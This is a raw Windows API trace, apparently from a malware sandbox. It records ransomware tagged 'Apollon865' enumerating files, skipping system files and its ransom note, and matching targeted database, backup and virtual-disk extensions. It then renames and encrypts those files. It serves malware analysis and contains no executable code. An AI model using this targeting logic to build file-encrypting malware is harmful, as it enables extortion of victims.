	[0084.030] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.030] lstrlenW (lpString="rodx") returned 4
	[0084.030] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0084.030] lstrlenW (lpString="rpd") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.030] lstrlenW (lpString="rsd") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.030] lstrlenW (lpString="sas7bdat") returned 8
	[0084.030] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0084.030] lstrlenW (lpString="sbf") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.030] lstrlenW (lpString="scx") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.030] lstrlenW (lpString="sdb") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.030] lstrlenW (lpString="sdc") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.030] lstrlenW (lpString="sdf") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.030] lstrlenW (lpString="sis") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.030] lstrlenW (lpString="spq") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.030] lstrlenW (lpString="te") returned 2
	[0084.030] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.030] lstrlenW (lpString="teacher") returned 7
	[0084.030] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0084.030] lstrlenW (lpString="tmd") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.030] lstrlenW (lpString="tps") returned 3
	[0084.030] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.030] lstrlenW (lpString="trc") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.031] lstrlenW (lpString="trc") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.031] lstrlenW (lpString="trm") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.031] lstrlenW (lpString="udb") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.031] lstrlenW (lpString="udl") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.031] lstrlenW (lpString="usr") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.031] lstrlenW (lpString="v12") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.031] lstrlenW (lpString="vis") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.031] lstrlenW (lpString="vpd") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.031] lstrlenW (lpString="vvv") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.031] lstrlenW (lpString="wdb") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.031] lstrlenW (lpString="wmdb") returned 4
	[0084.031] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0084.031] lstrlenW (lpString="wrk") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.031] lstrlenW (lpString="xdb") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.031] lstrlenW (lpString="xld") returned 3
	[0084.031] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.031] lstrlenW (lpString="xmlff") returned 5
	[0084.031] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0084.031] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll.Apollon865") returned 80
	[0084.031] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0084.035] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.036] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=13152) returned 1
	[0084.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.036] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.037] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.037] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.037] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3660, lpName=0x0) returned 0x15c
	[0084.039] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3660) returned 0x100000
	[0084.046] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.046] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.046] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0084.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0084.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.047] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0084.047] CloseHandle (hObject=0x15c) returned 1
	[0084.047] CloseHandle (hObject=0x9c) returned 1
	[0084.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.048] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8e7d800, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8e7d800, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="..") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0084.048] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0084.048] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned 69
	[0084.048] lstrcpyW (in: lpString1=0x119e670, lpString2="STINTL.DLL.trx_dll" | out: lpString1="STINTL.DLL.trx_dll") returned="STINTL.DLL.trx_dll"
	[0084.048] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0084.048] lstrlenW (lpString="Apollon865") returned 10
	[0084.048] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0084.048] lstrlenW (lpString=".dll") returned 4
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0084.048] lstrlenW (lpString=".lnk") returned 4
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0084.048] lstrlenW (lpString=".ini") returned 4
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0084.048] lstrlenW (lpString=".sys") returned 4
	[0084.048] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0084.048] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0084.049] lstrlenW (lpString="bak") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.049] lstrlenW (lpString="ba_") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.049] lstrlenW (lpString="dbb") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.049] lstrlenW (lpString="vmdk") returned 4
	[0084.049] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0084.049] lstrlenW (lpString="rar") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.049] lstrlenW (lpString="zip") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.049] lstrlenW (lpString="tgz") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.049] lstrlenW (lpString="vbox") returned 4
	[0084.049] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0084.049] lstrlenW (lpString="vdi") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.049] lstrlenW (lpString="vhd") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.049] lstrlenW (lpString="vhdx") returned 4
	[0084.049] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0084.049] lstrlenW (lpString="avhd") returned 4
	[0084.049] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0084.049] lstrlenW (lpString="db") returned 2
	[0084.049] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.049] lstrlenW (lpString="db2") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.049] lstrlenW (lpString="db3") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.049] lstrlenW (lpString="dbf") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.049] lstrlenW (lpString="mdf") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.049] lstrlenW (lpString="mdb") returned 3
	[0084.049] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.049] lstrlenW (lpString="sql") returned 3
	[0084.050] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.050] lstrlenW (lpString="sqlite") returned 6
	[0084.050] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0084.050] lstrlenW (lpString="sqlite3") returned 7
	[0084.050] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0084.050] lstrlenW (lpString="sqlitedb") returned 8
	[0084.050] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0084.050] lstrlenW (lpString="xml") returned 3
	[0084.050] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.050] lstrlenW (lpString="$er") returned 3
	[0084.050] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.050] lstrlenW (lpString="4dd") returned 3
	[0084.050] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.050] lstrlenW (lpString="4dl") returned 3
	[0084.050] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.050] lstrlenW (lpString="^^^") returned 3
	[0084.050] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.050] lstrlenW (lpString="abs") returned 3
	[0084.050] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.050] lstrlenW (lpString="abx") returned 3
	[0084.050] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.050] lstrlenW (lpString="accdb") returned 5
	[0084.050] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0084.050] lstrlenW (lpString="accdc") returned 5
	[0084.050] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0084.050] lstrlenW (lpString="accde") returned 5
	[0084.050] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0084.050] lstrlenW (lpString="accdr") returned 5
	[0084.050] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0084.050] lstrlenW (lpString="accdt") returned 5
	[0084.050] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0084.050] lstrlenW (lpString="accdw") returned 5
	[0084.050] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0084.050] lstrlenW (lpString="accft") returned 5
	[0084.050] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0084.050] lstrlenW (lpString="adb") returned 3
	[0084.050] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.051] lstrlenW (lpString="adb") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.051] lstrlenW (lpString="ade") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.051] lstrlenW (lpString="adf") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.051] lstrlenW (lpString="adn") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.051] lstrlenW (lpString="adp") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.051] lstrlenW (lpString="alf") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.051] lstrlenW (lpString="ask") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.051] lstrlenW (lpString="btr") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.051] lstrlenW (lpString="cat") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.051] lstrlenW (lpString="cdb") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.051] lstrlenW (lpString="ckp") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.051] lstrlenW (lpString="cma") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.051] lstrlenW (lpString="cpd") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.051] lstrlenW (lpString="dacpac") returned 6
	[0084.051] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0084.051] lstrlenW (lpString="dad") returned 3
	[0084.051] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.051] lstrlenW (lpString="dadiagrams") returned 10
	[0084.051] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0084.051] lstrlenW (lpString="daschema") returned 8
	[0084.051] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0084.051] lstrlenW (lpString="db-journal") returned 10
	[0084.051] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0084.051] lstrlenW (lpString="db-shm") returned 6
	[0084.051] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0084.052] lstrlenW (lpString="db-wal") returned 6
	[0084.052] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0084.052] lstrlenW (lpString="dbc") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.052] lstrlenW (lpString="dbs") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.052] lstrlenW (lpString="dbt") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.052] lstrlenW (lpString="dbv") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.052] lstrlenW (lpString="dbx") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.052] lstrlenW (lpString="dcb") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.052] lstrlenW (lpString="dct") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.052] lstrlenW (lpString="dcx") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.052] lstrlenW (lpString="ddl") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.052] lstrlenW (lpString="dlis") returned 4
	[0084.052] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0084.052] lstrlenW (lpString="dp1") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.052] lstrlenW (lpString="dqy") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.052] lstrlenW (lpString="dsk") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.052] lstrlenW (lpString="dsn") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.052] lstrlenW (lpString="dtsx") returned 4
	[0084.052] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0084.052] lstrlenW (lpString="dxl") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.052] lstrlenW (lpString="eco") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.052] lstrlenW (lpString="ecx") returned 3
	[0084.052] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.052] lstrlenW (lpString="edb") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.053] lstrlenW (lpString="epim") returned 4
	[0084.053] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0084.053] lstrlenW (lpString="fcd") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.053] lstrlenW (lpString="fdb") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.053] lstrlenW (lpString="fic") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.053] lstrlenW (lpString="flexolibrary") returned 12
	[0084.053] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0084.053] lstrlenW (lpString="fm5") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.053] lstrlenW (lpString="fmp") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.053] lstrlenW (lpString="fmp12") returned 5
	[0084.053] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0084.053] lstrlenW (lpString="fmpsl") returned 5
	[0084.053] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0084.053] lstrlenW (lpString="fol") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.053] lstrlenW (lpString="fp3") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.053] lstrlenW (lpString="fp4") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.053] lstrlenW (lpString="fp5") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.053] lstrlenW (lpString="fp7") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.053] lstrlenW (lpString="fpt") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.053] lstrlenW (lpString="frm") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.053] lstrlenW (lpString="gdb") returned 3
	[0084.053] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.053] lstrlenW (lpString="gdb") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.054] lstrlenW (lpString="grdb") returned 4
	[0084.054] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0084.054] lstrlenW (lpString="gwi") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.054] lstrlenW (lpString="hdb") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.054] lstrlenW (lpString="his") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.054] lstrlenW (lpString="ib") returned 2
	[0084.054] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.054] lstrlenW (lpString="idb") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.054] lstrlenW (lpString="ihx") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.054] lstrlenW (lpString="itdb") returned 4
	[0084.054] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0084.054] lstrlenW (lpString="itw") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.054] lstrlenW (lpString="jet") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.054] lstrlenW (lpString="jtx") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.054] lstrlenW (lpString="kdb") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.054] lstrlenW (lpString="kexi") returned 4
	[0084.054] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0084.054] lstrlenW (lpString="kexic") returned 5
	[0084.054] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0084.054] lstrlenW (lpString="kexis") returned 5
	[0084.054] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0084.054] lstrlenW (lpString="lgc") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.054] lstrlenW (lpString="lwx") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.054] lstrlenW (lpString="maf") returned 3
	[0084.054] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.054] lstrlenW (lpString="maq") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.055] lstrlenW (lpString="mar") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.055] lstrlenW (lpString="marshal") returned 7
	[0084.055] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0084.055] lstrlenW (lpString="mas") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.055] lstrlenW (lpString="mav") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.055] lstrlenW (lpString="maw") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.055] lstrlenW (lpString="mdbhtml") returned 7
	[0084.055] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0084.055] lstrlenW (lpString="mdn") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.055] lstrlenW (lpString="mdt") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.055] lstrlenW (lpString="mfd") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.055] lstrlenW (lpString="mpd") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.055] lstrlenW (lpString="mrg") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.055] lstrlenW (lpString="mud") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.055] lstrlenW (lpString="mwb") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.055] lstrlenW (lpString="myd") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.055] lstrlenW (lpString="ndf") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.055] lstrlenW (lpString="nnt") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.055] lstrlenW (lpString="nrmlib") returned 6
	[0084.055] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0084.055] lstrlenW (lpString="ns2") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.055] lstrlenW (lpString="ns3") returned 3
	[0084.055] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.056] lstrlenW (lpString="ns4") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.056] lstrlenW (lpString="nsf") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.056] lstrlenW (lpString="nv") returned 2
	[0084.056] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.056] lstrlenW (lpString="nv2") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.056] lstrlenW (lpString="nwdb") returned 4
